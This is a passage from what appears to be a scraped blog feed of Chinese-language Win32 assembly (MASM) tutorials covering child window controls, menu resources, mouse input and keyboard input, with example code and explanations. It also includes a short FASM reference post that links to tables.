50,35,200,25,hWnd,8,hInstance,NULL mov hwndEdit,eax invoke SetFocus, hwndEdit invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\\ WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\\ 75,70,140,25,hWnd,ButtonID,hInstance,NULL mov hwndButton,eax .ELSEIF uMsg==WM_COMMAND mov eax,wParam .IF lParam==0 .IF ax==IDM_HELLO invoke SetWindowText,hwndEdit,ADDR TestString .ELSEIF ax==IDM_CLEAR invoke SetWindowText,hwndEdit,NULL .ELSEIF ax==IDM_GETTEXT invoke GetWindowText,hwndEdit,ADDR buffer,512 invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK .ELSE invoke DestroyWindow,hWnd .ENDIF .ELSE .IF ax==ButtonID shr eax,16 .IF ax==BN_CLICKED invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0 .ENDIF .ENDIF .ENDIF .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp end start menu.rc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define IDM_HELLO 1 #define IDM_CLEAR 2 #define IDM_GETTEXT 3 #define IDM_EXIT 4 SecondMenu MENU { POPUP \u0026#34;\u0026amp;PopUp\u0026#34; { MENUITEM \u0026#34;\u0026amp;Say Hello\u0026#34;,IDM_HELLO MENUITEM \u0026#34;\u0026amp;Clear\u0026#34;, IDM_CLEAR MENUITEM SEPARATOR MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;,IDM_EXIT } MENUITEM \u0026#34;\u0026amp;Text\u0026#34;,IDM_GETTEXT } 分析： 我们现在开始分析，\n1 2 3 4 5 6 7 8 9 10 11 12 13 .ELSEIF uMsg==WM_CREATE invoke CreateWindowEx,WS_EX_CLIENTEDGE, \\ ADDR EditClassName,NULL,\\ WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT\\ or ES_AUTOHSCROLL,\\ 50,35,200,25,hWnd,EditID,hInstance,NULL mov hwndEdit,eax invoke SetFocus, hwndEdit invoke CreateWindowEx,NULL, ADDR ButtonClassName,\\ ADDR ButtonText,\\ WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\\ 75,70,140,25,hWnd,ButtonID,hInstance,NULL mov hwndButton,eax 我们在WM_CREATE中产生子控件，其中在函数CreateWindowEx中给子控件窗口一个WS_EX_CLIENTEDGE风格，它使得子控件窗口看上去边界下凹，具有立体感。每一个子控件的类名都是预定义的，譬如：按钮的预定义类名是\u0026quot;button\u0026quot;，编辑框是\u0026quot;edit\u0026quot;。接下来的参数是窗口风格，除了通常的窗口风格外，每一个控件都有自己的扩展风格，譬如：按钮类的扩展风格前面加有BS_，编辑框类则是：ES_，WIN32 API 参考中有所有的扩展风格的描述。注意：您在CreateWindowsEx函数中本来要传递菜单句柄的地方传入子窗口空间的ID号不会有什么副作用，因为子窗口控件本身不能有菜单。产生控件后，我们保存它们的句柄，然后调用SetFocus把焦点设到编辑控件上以便用户立即可以输入。接下来的是如何处理控件发送的通知消息WM_COMMAND：\n1 2 3 .ELSEIF uMsg==WM_COMMAND mov eax,wParam .IF lParam==0 我们以前讲过选择菜单项也会发送WM_COMMAND消息，那我们应如何区分呢？看了下表您就会一目了然：\n1 2 3 4 5 6 7 /---------+--------------------+--------------------+---------------------\\ | | Low word of wParam |High word of wParam | lParam | +---------+--------------------+--------------------+---------------------+ | Menu | Menu ID | 0 | 0 | +---------+ -------------------+--------------------+---------------------+ | Control | Control ID | Notification code | Child Window Handle | \\---------+--------------------+--------------------+---------------------/ 其中我们可以看到不能用wParam来区分，因为菜单和控件的ID号可能相同，而且子窗口空间的消息号也有可能为0。\n1 2 3 4 5 6 7 .IF ax==IDM_HELLO invoke SetWindowText,hwndEdit,ADDR TestString .ELSEIF ax==IDM_CLEAR invoke SetWindowText,hwndEdit,NULL .ELSEIF ax==IDM_GETTEXT invoke GetWindowText,hwndEdit,ADDR buffer,512 invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK 您可以调用SetWindowText函数把一字符串复制到编辑控件中去，为了清空，传入NULL值。SetWindowText是一个通用函数，即可以用它来设定一个窗口的标题，也可以用它来改变一个按钮上的文字。如果是要得到按钮上的文字，则调用GetWindowText。\n1 2 3 4 5 6 .IF ax==ButtonID shr eax,16 .IF ax==BN_CLICKED invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0 .ENDIF .ENDIF 上面的片段是处理用户按钮事件的。他首先检查wParam的高字节看是否是按钮的ID 号，若是则检查低字节看发送的消息号是否BN_CLICKED，该消息是在按钮按下时发送的，如果一切都对，则转入处理该消息，我们可以从处理消息IDM_GETTEXT处复制全部的代码，但是更专业的办法是在发送一条IDM_GETTEXT消息让主窗口过程处理，这只要把传送的消息设置为WM_COMMAND，再把wParam的低字节中设置为IDM_GETTEXT即可。这样一来您的代码就简洁了许多，所以尽可能利用该技巧。最后，当然不是或有或无，必须在消息循环中调用函数TranslateMessage，因为您的应用程序需要在编辑框中输入可读的文字。如果省略了该函数，就不能在编辑框中输入任何东西。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-9/","summary":"\u003cp\u003e这次我们将探讨控件，这些控件是我们程序主要的输入输出设备。\u003c/p\u003e","title":"Win32汇编学习(9)：窗口控件"},{"content":"这次我们将在我们的应用程序中加入一个菜单。\n理论： 菜单可以说是WINDOWS最重要的元素之一。有了它，用户可以方便地选择操作命令.用户只要细读一下所有的菜单项就可以明了应用程序所提供的大概功能,而且可以立即操作,无须去阅读手册了.正因为菜单给了用户一种方便的方式,所以您在应用程序中加入菜单时就要遵守一般的标准.譬如:一般头两个菜单项是\u0026quot;File\u0026quot;和\u0026quot;Edit\u0026quot;,最后是\u0026quot;Help\u0026quot;,您可以在这中间插入您要定义的菜单项.如果所运行的菜单命令会弹出一个对话框,那么就要在该菜单项后加入省略符(\u0026hellip;).菜单是一种资源,除菜单外还有其它像对话框,字符串,图标,位图资源等.在链接时链接程序将把资源加入到可执行程序中去,最后我们的执行程序中就既包括机器指令又包括了资源. 您可以在任何文本编辑器中编写脚本文件,在文件中您可以指定资源呈现出来的外观和其它的一些属性.当然更直观的方法是用资源编辑器,通常资源编辑器都打包在编译环境中,像Visual C++带了资源编辑器. 我们可以按以下方式来定义一个菜单资源：\n1 2 3 4 MyMenu MENU { [menu list here] } 这和C语言中的结构体的定义非常相似。 MyMenu类似于被定义的变量，而MENU则类似于关键字。当然您可以用另外一种办法，那就是用BEGIN和END来代替花括号，这和PASCAL语言中的风格相同。 在菜单项的列表中是一大串的MENUITEM和POPUP语句。MENUITEM定义了一个菜单项，当选择后不会激活对话框。它的语法如下：\n1 MENUITEM \u0026#34;\u0026amp;text\u0026#34;, ID [,options] 它由关键字MENUITEM开头，紧跟在MENUITEM后的是指菜单项的名称字符串，符号“\u0026amp;“后的第一个字符将会带下划线，它也是该菜单项的快捷键。ID的作用当该菜单被选中时，WINDOWS的消息处理过程用来区分菜单项用的。毫无疑问，ID号必须唯一。 options有以下可供选择的属性：\nGRAYED 代表该菜单项处于非激活状态，即当其被选中时不会产生 WM_COMMAND 消息。该菜单以灰色显示。 INACTIVE 代表该菜单项处于非激活状态，即当其被选中时不会产生 WM_COMMAND 消息。该菜单以正常颜色显示。 MENUBREAK 该菜单项和随后的菜单项会显示在新列中。 HELP 该菜单项和随后的菜单项右对齐。 POPUP的语法如下：\n1 2 3 4 POPUP \u0026#34;\u0026amp;text\u0026#34; [,options] { [menu list] } POPUP定义了一个菜单项当该菜单项被选中时又会弹出一个子菜单。 另外有一种特别类型的MENUITEM语句 MENUITEM SEPARATOR，它表示在菜单项位置画一条分隔线。定义完菜单后，您就可以在程序中使用脚本中定义的菜单资源了。您可以在程序的两个地方（或叫做用两种方式）使用它们：\n在 WNDCLASSEX结构体的成员 lpszMenuName中。譬如，您有一个菜单“FirstMenu“，您可以按如下方法把它联系到您的窗口： 1 2 3 4 5 6 7 8 .DATA MenuName db \u0026#34;FirstMenu\u0026#34;,0 ........................... ........................... .CODE ........................... mov wc.lpszMenuName, OFFSET MenuName ........................... 在 CreateWindowEx函数中指明菜单的句柄： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .DATA MenuName db \u0026#34;FirstMenu\u0026#34;,0 hMenu HMENU ? ........................... ........................... .CODE ........................... invoke LoadMenu, hInst, OFFSET MenuName mov hMenu, eax invoke CreateWindowEx,NULL,OFFSET ClsName,\\ OFFSET Caption, WS_OVERLAPPEDWINDOW,\\ CW_USEDEFAULT,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,\\ NULL,\\ hMenu,\\ hInst,\\ NULL\\ ........................... 您也许会问，这两着之间有什么不同呢？**当您用第一种方法时，由于是在窗口类中指定，故所有由该窗口类派生的窗口都将有相同的菜单。如果您想要从相同的类中派生的窗口有不同的菜单那就要使用第二中方法，该方法中通过函数 CreateWindowEx指定的菜单会“覆盖” WNDCLASSEX结构体中指定的菜单。**接下来我们看看当用户选择了一个菜单项时它是如何通知WINDOWS 窗口过程的：当用户选择了一个菜单项时，WINDOWS窗口过程会接收到一个 WM_COMMAND消息，传进来的参数 wParam的低字节包含了菜单项的 ID号。好了，上面就是关于菜单项的一切，下面我们就来实践。\n例子： 第一个例子显示了指定一个菜单项的第一种方法：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our Sixth Window\u0026#34;,0 MenuName db \u0026#34;FirstMenu\u0026#34;,0 Test_string db \u0026#34;你选择了测试菜单项\u0026#34;,0 Hello_string db \u0026#34;你好\u0026#34;,0 Goodbye_string db \u0026#34;再见\u0026#34;,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? .const IDM_TEST equ 1 IDM_HELLO equ 2 IDM_GOODBYE equ 3 IDM_TEXT equ 4 .code start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style,CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, offset WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,offset MenuName mov wc.lpszClassName,offset ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx,addr wc invoke CreateWindowEx,NULL,addr ClassName,addr AppName,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInst,NULL mov hwnd,eax invoke ShowWindow,hwnd,SW_SHOWNORMAL invoke UpdateWindow,hwnd .while TRUE invoke GetMessage,addr msg,NULL,0,0 .break .if (!eax) invoke DispatchMessage,addr msg\t.endw mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM .if uMsg==WM_DESTROY invoke PostQuitMessage,NULL .elseif uMsg==WM_COMMAND mov eax,wParam .if ax==IDM_TEST invoke MessageBox,NULL,addr Test_string,offset AppName,MB_OK .elseif ax==IDM_HELLO invoke MessageBox,NULL,addr Hello_string,offset AppName,MB_OK .elseif ax==IDM_GOODBYE invoke MessageBox,NULL,addr Goodbye_string,offset AppName,MB_OK .else invoke DestroyWindow,hWnd .endif .else invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif xor eax,eax ret WndProc endp end start Menu.rc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define IDM_TEST 1 #define IDM_HELLO 2 #define IDM_GOODBYE 3 #define IDM_EXIT 4 FirstMenu MENU { POPUP \u0026#34;\u0026amp;PopUp\u0026#34; { MENUITEM \u0026#34;\u0026amp;Say Hello\u0026#34;,IDM_HELLO MENUITEM \u0026#34;Say \u0026amp;GoodBye\u0026#34;, IDM_GOODBYE MENUITEM SEPARATOR MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;,IDM_EXIT } MENUITEM \u0026#34;\u0026amp;Test\u0026#34;, IDM_TEST } 分析: 我们先来分析资源文件：\n1 2 3 4 #define IDM_TEST 1 /* equal to IDM_TEST equ 1*/ #define IDM_HELLO 2 #define IDM_GOODBYE 3 #define IDM_EXIT 4 上面的几行定义了菜单项的ID号。只要注意菜单项ID号必须唯一外，您可以给ID号任何值。\n1 FirstMenu MENU 用关键字MENU定义菜单。\n1 2 3 4 5 6 7 POPUP \u0026#34;\u0026amp;PopUp\u0026#34; { MENUITEM \u0026#34;\u0026amp;Say Hello\u0026#34;,IDM_HELLO MENUITEM \u0026#34;Say \u0026amp;GoodBye\u0026#34;, IDM_GOODBYE MENUITEM SEPARATOR MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;,IDM_EXIT } 定义一个有四个菜单项的子菜单，其中第三个菜单项是一个分隔线。\n1 MENUITEM \u0026#34;\u0026amp;Test\u0026#34;, IDM_TEST 定义主菜单中的一项。下面我们来看看源代码。\n1 2 3 4 MenuName db \u0026#34;FirstMenu\u0026#34;,0 Test_string db \u0026#34;你选择了测试菜单项\u0026#34;,0 Hello_string db \u0026#34;你好\u0026#34;,0 Goodbye_string db \u0026#34;再见\u0026#34;,0 MenuName是资源文件中指定的菜单的名字。因为您可以在脚本文件中定义任意多个菜单，所以在使用前必须指定您要使用那一个，接下来的行是在选中菜单项时显示在相关对话框中的字符串。\n1 2 3 4 IDM_TEST equ 1 IDM_HELLO equ 2 IDM_GOODBYE equ 3 IDM_EXIT equ 4 定义用在WINDOWS窗口过程中的菜单项ID号。这些值必须和脚本文件中的相同。\n1 2 3 4 5 6 7 8 9 10 11 .ELSEIF uMsg==WM_COMMAND mov eax,wParam .IF ax==IDM_TEST invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK .ELSEIF ax==IDM_HELLO invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK .ELSEIF ax==IDM_GOODBYE invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK .ELSE invoke DestroyWindow,hWnd .ENDIF 在本窗口过程中我们处理WM_COMMAND消息。当用户选择了一个菜单项时，该菜单项的ID放入参数wParam中被同时送到WINDOWS的窗口过程，我们把它保存到eax寄存器中以便和预定义的菜单项ID比较用。前三种情况下，当我们选中Test、Say Hello、Say GoodBye菜单项时，会弹出一个对话框其中显示一个相关的字符串，选择Exit菜单项时，我们就调用函数DestroyWindow，其中的参数是我们窗口的句柄，这样就销毁了窗口。就像您所看到的，通过在一个窗口类中指定菜单名的方法来给一个应用程序生成一个菜单是简单而直观的。除此方法外您还可以用另一种方法，其中资源文件是一样的，源文件中也只有少数的改动，这些改动如下：\n1 2 3 4 .data? hInstance HINSTANCE ? CommandLine LPSTR ? hMenu HMENU ? ; handle of our menu 定义了一个变量来保存我们的菜单的句柄，然后：\n1 2 3 4 5 6 invoke LoadMenu, hInst, OFFSET MenuName mov hMenu,eax INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\\ hInst,NULL 调用LoadMenu函数，该函数需要实例句柄和菜单名的字符串，调用的结果返回指向菜单的句柄，然后传给函数CreateWindowEx刚返回的菜单句柄就可以了。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-8/","summary":"\u003cp\u003e这次我们将在我们的应用程序中加入一个菜单。\u003c/p\u003e","title":"Win32汇编学习(8)：菜单"},{"content":"Size operator Registers Data directives Conditions(jmp助记符) ","permalink":"https://www.hacktech.cn/post/2018/02/fasm-study-20180210/","summary":"\u003ch2 id=\"size-operator\"\u003eSize operator\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/30e377ab39aec9010ed3f547bbde35b3..png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"registers\"\u003eRegisters\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/b17f82d27949683225162707c22a117b..png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"data-directives\"\u003eData directives\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/2f10467c27aa8664da9615c501b8fb9f..png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"conditionsjmp助记符\"\u003eConditions(jmp助记符)\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/fd3b24b8e19ab9fec4cdf4d5bc4937ea..png\"\u003e\u003c/p\u003e","title":"FASM学习中的一些表格"},{"content":"这次我们将学习如何在我们的窗口过程函数中处理鼠标按键消息。例子演示了如何等待鼠标左键按下消息，我们将在按下的位置显示一个字符串。\n理论： 和处理键盘输入一样，WINDOWS将捕捉鼠标动作并把它们发送到相关窗口。这些活动包括左、右键按下、移动、双击、滚轮消息WM_WHEEL等。WINDOWS并不像处理键盘输入那样把所有的鼠标消息都导向有输入焦点的窗口，任何鼠标经过的窗口都将接收到鼠标消息，无论有否输入焦点。另外，窗口还会接收到鼠标在非客户区移动的消息（WM_NCMOVE），但大多数的情况下我们都会将其忽略掉。当鼠标在某窗口客户区移动时，该窗口将接收到WM_MOUSEMOVE消息。一个窗口若想处理WM_LBUTTONDBCLK或 WM_RBUTTONDBCLK，那么它的窗口类必须有CS_DBLCLKS风格，否则它就会接受到一堆的按键起落（WM_XBUTTONDOWN或WM_XBUTTONUP)的消息。 对于所有的消息，窗口过程函数传入的参数lParam包含了鼠标的位置，其中低位为x坐标，高位为y坐标，这些坐标值都是相对于窗口客户区的左上角的值，wParam中则包含了鼠标按钮的状态。\n例子： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include \\masm32\\include\\windows.inc include \\masm32\\include\\user32.inc include \\masm32\\include\\kernel32.inc include \\masm32\\include\\gdi32.inc includelib \\masm32\\lib\\user32.lib includelib \\masm32\\lib\\kernel32.lib includelib \\masm32\\lib\\gdi32.lib .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our First Window\u0026#34;,0 MouseClick db 0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? hitpoint POINT \u0026lt;\u0026gt; .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM LOCAL hdc:HDC LOCAL ps:PAINTSTRUCT .IF uMsg==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF uMsg==WM_LBUTTONDOWN mov eax,lParam and eax,0FFFFh mov hitpoint.x,eax mov eax,lParam shr eax,16 mov hitpoint.y,eax mov MouseClick,TRUE invoke InvalidateRect,hWnd,NULL,TRUE .ELSEIF uMsg==WM_PAINT invoke BeginPaint,hWnd, ADDR ps mov hdc,eax .IF MouseClick invoke lstrlen,ADDR AppName invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax .ENDIF invoke EndPaint,hWnd, ADDR ps .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp end start 分析： 1 2 3 4 5 6 7 8 9 .ELSEIF uMsg==WM_LBUTTONDOWN mov eax,lParam and eax,0FFFFh mov hitpoint.x,eax mov eax,lParam shr eax,16 mov hitpoint.y,eax mov MouseClick,TRUE invoke InvalidateRect,hWnd,NULL,TRUE 窗口过程处理了WM_LBUTTONDOWN消息，当接收到该消息时，lParam中包含了相对于窗口客户区左上角的坐标，我们把它保存下来，放到一个结构体变量（POINT）中，该结构体变量的定义如下：\n1 2 3 4 POINT STRUCT x dd ? y dd ? POINT ENDS 然后我们把标志量MouseClick设为TRUE，这表明至少有一次在客户区的左键按下消息。\n1 2 3 mov eax,lParam and eax,0FFFFh mov hitpoint.x,eax 由于lParam是一个32位长的数，其中高、低16位分别包括了y、x坐标所以我们做一些小处理，以便保存它们。\n1 2 shr eax,16 mov hitpoint.y,eax 保存完坐标后我们设标志MouseClick为TRUE，这是在处理WM_PAINT时用来判断是否有鼠标左键按下消息。然后我们调用InvalidateRect函数迫使WINDOWS重新绘制客户区。\n1 2 3 4 .IF MouseClick invoke lstrlen,ADDR AppName invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax .ENDIF 绘制客户区的代码首先检测MouseClick标志位，再决定是否重绘。因为我们在首次显示窗口时还没有左键按下的消息，所以我们在初始时把该标志设为FALSE，告诉WINDOWS不要重绘客户区，当有左键按下的消息时，它会在鼠标按下的位置绘制字符串。注意在调用TextOut函数时，其关于字符串长度的参数是调用lstrlen函数来计算的。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32asm7-mouse-input-msg/","summary":"\u003cp\u003e这次我们将学习如何在我们的窗口过程函数中处理鼠标按键消息。例子演示了如何等待鼠标左键按下消息，我们将在按下的位置显示一个字符串。\u003c/p\u003e","title":"Win32汇编学习(7)：鼠标输入消息"},{"content":"这次，我们将要学习WINDOWS程序是如何处理键盘消息的。\n理论： 因为大多数的PC只有一个键盘，所以所有运行中的WINDOWS程序必须共用它。WINDOWS 将负责把击键消息送到具有输入焦点的那个应用程序中去。尽管屏幕上可能同时有几个应用程序窗口，但一个时刻仅有一个窗口有输入焦点。有输入焦点的那个应用程序的标题条总是高亮度显示的。 实际上您可以从两个角度来看键盘消息：一是您可以把它看成是一大堆的按键消息的集合，在这种情况下，当您按下一个键时，WINDOWS就会发送一个 WM_KEYDOWN 给有输入焦点的那个应用程序，提醒它有一个键被按下。当您释放键时，WINDOWS又会发送一个 WM_KYEUP 消息，告诉有一个键被释放。您把每一个键当成是一个按钮；另一种情况是：您可以把键盘看成是字符输入设备。当您按下“a”键时，WINDOWS发送一个 WM_CHAR 消息给有输入焦点的应用程序，告诉它“a”键被按下。实际上WINDOWS 内部发送 WM_KEYDOWN 和 WM_KEYUP 消息给有输入焦点的应用程序，而这些消息将通过调用 TranslateMessage 翻译成 WM_CHAR 消息。WINDOWS窗口过程函数将决定是否处理所收到的消息，一般说来您不大会去处理 WM_KEYDOWN 、 WM_KEYUP 消息，在消息循环中 TranslateMessage 函数会把上述消息转换成 WM_CHAR 消息。这次学习中将只处理 WM_CHAR。\n例子： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include windows.inc include user32.inc include kernel32.inc include gdi32.inc includelib user32.lib includelib kernel32.lib includelib gdi32.lib .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our Fourth Window\u0026#34;,0 char WPARAM 20h .data? hInstance HINSTANCE ? CommandLine LPSTR ? .code start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style,CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc,OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx,ADDR wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInst,NULL mov hwnd,eax invoke ShowWindow,hwnd,SW_SHOWNORMAL invoke UpdateWindow,hwnd .while TRUE invoke GetMessage,ADDR msg,NULL,0,0 .break .if (!eax) invoke TranslateMessage,ADDR msg invoke DispatchMessage,ADDR msg .endw mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL hdc:HDC LOCAL ps:PAINTSTRUCT .if uMsg==WM_DESTROY invoke PostQuitMessage,NULL .elseif uMsg==WM_CHAR push wParam pop char invoke InvalidateRect,hWnd,NULL,TRUE .elseif uMsg==WM_PAINT invoke BeginPaint,hWnd,ADDR ps mov hdc,eax invoke TextOut,hdc,0,0,ADDR char,1 invoke EndPaint,hWnd,ADDR ps .else invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif xor eax,eax ret WndProc endp end start 分析： 1 char WPARAM 20h 这个变量将保存从键盘接收到的字符。因为它是在窗口过程中通过WPARAM型变量传送的，所以我们简单地把它定义为WPARAM型。由于我们的窗口在初次刷新时(也即刚被创建的那一次)是没有键盘输入的所以我们把他设成空格符（20h），这样显示时您就什么都看不见。\n1 2 3 4 .ELSEIF uMsg==WM_CHAR push wParam pop char invoke InvalidateRect, hWnd,NULL,TRUE 这一段是用来处理WM_CHAR消息的。它把接收到的字符放入变量char中，接着调用InvalidateRect，而InvalidateRect使得窗口的客户区无效，这样它会发出WM_PAINT消息，而WM_PAINT消息迫使WINDOWS重新绘制它的客户区。该函数的语法如下：\n1 InvalidateRect proto hWnd:HWND, lpRect:DWORD, bErase:DWORD lpRect是指向客户区我们想要其无效的一个正方形结构体的指针。如果该值等于NULL，则整个客户区都无效；布尔值bErase告诉WINDOWS是否擦除背景，如果是TRUE，则WINDOWS在调用BeginPaint函数时把背景擦掉。 所以我们此处的做法是：我们将保存所有有关重绘客户区的数据，然后发送WM_PAINT消息(通过InvalidateRect)，处理该消息的程序段然后根据相关数据重新绘制客户区。实际上我们完全可以通过调用 GetDC 获得设备上下文句柄，然后绘制字符，然后再调用ReleaseDC释放设备上下文句柄，毫无疑问这样也能在客户区绘制出正确的字符。但是如果这之后接收到WM_PAINT消息要处理时，客户区会重新刷新，而我们这稍前所绘制的字符就会消失掉。所以为了让字符一直正确地显示，就必须把它们放到WM_PAINT的处理过程中处理。而在本消息处理中发送WM_PAINT消息即可。\n1 invoke TextOut,hdc,0,0,ADDR char,1 